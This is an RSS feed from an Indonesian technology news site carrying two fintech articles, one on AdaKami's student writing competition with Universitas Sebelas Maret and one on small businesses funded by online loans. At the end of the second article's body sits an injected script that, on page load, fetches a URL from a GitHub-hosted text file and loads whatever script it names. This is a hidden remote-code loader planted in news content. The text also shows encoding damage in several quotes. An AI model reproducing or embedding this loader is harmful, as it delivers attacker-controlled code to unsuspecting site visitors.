<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>fintech &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/fintech/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Wed, 04 Mar 2026 02:31:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>fintech &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AdaKami Gandeng UNS Gelar Inisiatif Tech for Indonesia</title>
		<link>https://nativzen.com/2026/03/04/adakami-gandeng-uns-gelar-inisiatif-tech-for-indonesia/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 04 Mar 2026 02:31:07 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[adakami]]></category>
		<category><![CDATA[fintech]]></category>
		<category><![CDATA[tech for indonesia]]></category>
		<category><![CDATA[universitas sebelas maret]]></category>
		<category><![CDATA[uns]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=27027</guid>

					<description><![CDATA[Tech for Indonesia merupakan program kolaborasi strategis untuk mendorong lahirnya talenta muda di sektor financial technology (fintech).]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; PT Pembiayaan Digital Indonesia (AdaKami) resmi menggandeng Universitas Sebelas Maret (UNS) dalam inisiatif Tech for Indonesia, sebuah program kolaborasi strategis untuk mendorong lahirnya talenta muda di sektor financial technology (fintech).</p>



<p>Kolaborasi perdana ini diwujudkan melalui kompetisi karya tulis ilmiah bertajuk FutureFin, yang mengajak mahasiswa lintas fakultas untuk mengembangkan gagasan seputar industri fintech, khususnya pinjaman daring (pindar), secara aman, bertanggung jawab, dan berdampak positif bagi masyarakat.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="574" src="https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--1024x574.jpg" alt="" class="wp-image-27029" srcset="https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--1024x574.jpg 1024w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--300x168.jpg 300w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--768x430.jpg 768w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--370x207.jpg 370w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--270x151.jpg 270w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--570x319.jpg 570w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang--740x415.jpg 740w, https://nativzen.com/wp-content/uploads/2026/03/Foto-5-Program-FutureFin-menghadirkan-rangkaian-sesi-kuliah-umum-dan-mentorship-yang-dirancang-untuk-memperkaya-perspektif-dan-memperkuat-landasan-analitis-mahasiswa-dalam-menyusun-karya-tulis-yang-.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Dorong Mahasiswa Pahami Dinamika Industri Pindar</h4>



<p>Chief of Public Affairs AdaKami, Karissa Sjawaldy, menjelaskan bahwa Tech for Indonesia merupakan bentuk komitmen perusahaan dalam menghadirkan dampak nyata bagi generasi muda.</p>



<p>Menurutnya, mahasiswa perlu memahami dinamika industri pindar secara komprehensif dan kritis, termasuk risiko yang melekat serta pentingnya membedakan layanan fintech legal dan bertanggung jawab dari praktik ilegal yang merugikan masyarakat.</p>



<p>“Melalui kolaborasi dengan dunia akademik, kami ingin mendorong mahasiswa tidak hanya memahami teknologi, tetapi juga tata kelola, regulasi, dan aspek perlindungan konsumen dalam industri ini,” ujarnya dalam pembukaan FutureFin di Kampus UNS, Surakarta.</p>



<h4 class="wp-block-heading">Didukung OJK, Perkuat Literasi Keuangan Digital</h4>



<p>Acara pembukaan FutureFin turut dihadiri perwakilan Otoritas Jasa Keuangan (OJK) Solo sebagai bentuk dukungan terhadap peningkatan literasi dan inklusi keuangan di kalangan para mahasiswa, khususnya di lingkungan UNS.</p>



<p>Kepala OJK Solo, Eko Hariyanto, mengapresiasi langkah yang dilakukan oleh Fakultas Ekonomi dan Bisnis UNS serta AdaKami dalam menghadirkan edukasi terkait industri keuangan digital di tengah-tengah mahasiswa. </p>



<p>OJK menegaskan komitmennya untuk memastikan industri jasa keuangan—termasuk fintech lending—berkembang dengan prinsip kehati-hatian, perlindungan konsumen, dan berkontribusi terhadap pertumbuhan ekonomi nasional.</p>



<p>Kolaborasi ini juga diharapkan mampu memperkuat ekosistem keuangan digital yang sehat sekaligus membentuk generasi muda yang cerdas dan berintegritas dalam menggunakan layanan keuangan.</p>



<h4 class="wp-block-heading">FutureFin: Dari Seleksi hingga Mentorship Industri</h4>



<p>Kompetisi FutureFin terbuka bagi seluruh mahasiswa UNS dari berbagai disiplin ilmu. Prosesnya meliputi tahap seleksi karya tulis ilmiah, program pendampingan (mentorship), presentasi final di hadapan panel juri, dan pengumuman pemenang akan dilakukan pada Mei 2026</p>



<p>Selama program berlangsung, peserta akan mengikuti sesi daring dan luring berupa kuliah umum serta mentoring bersama akademisi, pakar, dan praktisi industri fintech. Topik yang diangkat mencakup lanskap industri fintech, perkembangan teknologi, hingga regulasi pindar di Indonesia.</p>



<p>Dekan Fakultas Ekonomi dan Bisnis UNS, Prof. Bhimo Rizky Samudro, menilai program ini menjadi ruang strategis bagi mahasiswa untuk mengasah kemampuan analitis dan problem solving dalam konteks industri nyata.</p>



<p>Ia juga menekankan bahwa kolaborasi ini selaras dengan pencapaian SDG 4 (peningkatan kualitas pendidikan) dan SDG 17 (kemitraan lintas sektor), di mana perguruan tinggi dan industri berkolaborasi membangun ekosistem yang inklusif dan berkelanjutan.</p>



<h4 class="wp-block-heading">Komitmen Bangun Industri Fintech yang Kredibel</h4>



<p>Melalui Tech for Indonesia dan FutureFin, AdaKami menegaskan komitmennya dalam membangun industri fintech di Tanah Air yang tidak hanya kredibel dan bertanggung jawab, tetapi juga berkelanjutan.</p>



<p>Didirikan pada 2018, AdaKami merupakan platform fintech lending yang beroperasi di bawah PT Pembiayaan Digital Indonesia dan telah berizin serta diawasi oleh OJK. Perusahaan ini memanfaatkan teknologi informasi untuk menyediakan akses pembiayaan.</p>



<p>Inisiatif kolaborasi dengan UNS menjadi langkah konkret AdaKami dalam mencetak talenta fintech masa depan yang tidak hanya inovatif secara teknologi, tetapi juga memahami aspek etika, regulasi, dan perlindungan konsumen di era keuangan digital.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Pinjaman Online Bikin Omzet Pelaku UMKM ini Naik, Kok Bisa?</title>
		<link>https://nativzen.com/2023/11/22/pinjaman-online-bikin-omzet-pelaku-umkm-ini-naik-kok-bisa/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 22 Nov 2023 11:15:33 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[fintech]]></category>
		<category><![CDATA[peer-to-peer lending]]></category>
		<category><![CDATA[pinjaman online]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=1091</guid>

					<description><![CDATA[NATIVZEN.com &#8211; Tak sedikit yang meragukan bahwa platform fintech peer-to-peer lending (pinjaman online) saat ini telah menjadi alternatif sumber pendanaan bagi pelaku UMKM yang belum memiliki akses untuk mendapatkan kredit dari lembaga keuangan konvensional, seperti perbankan. Ditambah dengan proses digitalisasi, pinjaman online merupakan solusi pendanaan yang tak hanya menawarkan kemudahan, tetapi juga kecepatan bagi mereka [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>NATIVZEN.com &#8211; Tak sedikit yang meragukan bahwa platform fintech peer-to-peer lending (pinjaman online) saat ini telah menjadi alternatif sumber pendanaan bagi pelaku UMKM yang belum memiliki akses untuk mendapatkan kredit dari lembaga keuangan konvensional, seperti perbankan. </p>



<p>Ditambah dengan proses digitalisasi, pinjaman online merupakan solusi pendanaan yang tak hanya menawarkan kemudahan, tetapi juga kecepatan bagi mereka para pelaku UMKM yang masuk dalam kategoriÂ unbankedÂ danÂ underserved.</p>



<p>Hal tersebut diakui olehÂ Karen Komala, Pemilik Kedai Mie Arunika yang berlokasi di Pantai Indah Kapuk (PIK) 2. Ia menceritakan bahwa usaha yang baru dirintisnya selama setahun belakangan, banyak terbantu oleh pendanaan dari pinjaman online. </p>



<p>Karen saat ini merupakan nasabah dari platformÂ KlikKamiÂ yang telah diberi kepercayaan untuk mendapatkan pendanaan dengan limit hingga Rp16 juta berkat kredit skor yang bagus. Kini usaha kulinernya itu bahkan berhasil meningkatkan omzet lebih dari 50%.</p>



<p>â€œPendanaan yang diberikan oleh KlikKami saat pertama kali Rp6 juta, secara bertahap limitnya naik dan tenornya bisa lebih panjang. Karena pembayarannya lancar, sekarang saya sudah bisa mengajukan sampai Rp 16juta,â€ ujar Karen.</p>



<p>Karen menyebut, dirinya juga pernah hampir terjerat oleh pinjaman online (pinjol) ilegal, karena tergiur oleh penawaran yang diberikan. Ia pun mengimbau masyarakat untuk lebih waspada dan mendukung penuh upaya pemberantasan platform pinjol ilegal.</p>



<p>&#8220;Alasan pakai pinjaman online karena sangat membantu kami yang tidak bisa mendapatkan kredit dari bank. Sedangkan pakai pinjaman online mudah cairnya. 30-60 menit sudah cair. Semoga KlikKami juga dapat memberikan opsi tenor yang lebih panjang,&#8221; sebut Karen.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="737" src="https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-1024x737.jpeg" alt="" class="wp-image-1093" srcset="https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-1024x737.jpeg 1024w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-300x216.jpeg 300w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-768x553.jpeg 768w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-1536x1106.jpeg 1536w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-370x266.jpeg 370w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-270x194.jpeg 270w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-570x410.jpeg 570w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito-740x533.jpeg 740w, https://nativzen.com/wp-content/uploads/2023/11/Adik-Firdaus-Pemilik-Usaha-Barbershop-Gedong-1-UMKM-Binaan-Kredito.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Cerita lainnya berasal dariÂ Adik Firdaus, Pemilik Barbershop Gedong 1Â yang menerima manfaat pendanaan dariÂ KreditoÂ hingga mencapai Rp124 juta. Pendanaan yang didapatkan sangat membantu usahanya, terutama untuk mengcover berbagai kebutuhan bisnis barbershop.</p>



<p>Adik mengisahkan jatuh bangun dalam merintis usaha barbershop yang sudah dijalankan selama 16 tahun sejak 2007. Terlebih ketika pandemi Covid-19, usahanya harus kehilangan pelanggan dan hampir ditutup karena adanya pembatasan sosial.</p>



<p>â€œKetika pandemi usaha sempat kolaps. Ada sedikit pembiayaan yang saya dapatkan dari sumber yang lain tetapi hanya bisa untuk menutup biaya sewa dan operasional. Tahun 2022 barulah saya mengenal Kredito,&#8221; ungkap Adik.</p>



<p>Diceritakan lebih lanjut oleh Adik bahwa pinjaman yang diterima dari Kredito sedikit-sedikit bisa membantu untuk membeli peralatan seperti mesin cukur, gunting dan lainnya. Jadi alokasinya lebih kepada fasilitas untuk menunjang kinerja usaha.</p>



<p>Industri fintech P2P lending alias pinjaman online yang diwadahi Asosiasi Fintech Pendanaan Bersama Indonesia (AFPI) tengah gencar menyalurkan pendanaan kepada masyarakat unbanked dan underserved. Ini sesuai dengan target OJK dalam roadmap fintech lending.</p>



<p>Disebutkan bahwa penyaluran pendanaan ke sektor produktif dan UMKM sebesar 30% &#8211; 40% periode 2023 &#8211; 2024. Data OJK juga mencatat, sampai September, Outstanding pembiayaan yang disalurkan fintech P2P lending tumbuh 14,28% YoY menjadi Rp55,70 triliun.</p>



<p>Pertumbuhan tersebut juga diikuti dengan kualitas risiko pembiayaan yang terjaga dengan Tingkat Wanprestasi (TWP 90) sebesar 2,82%. Dari jumlah tersebut, porsi yang disalurkan oleh fintech P2P lending kepada sektor produktif dan UMKM mencapai 36,57%.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
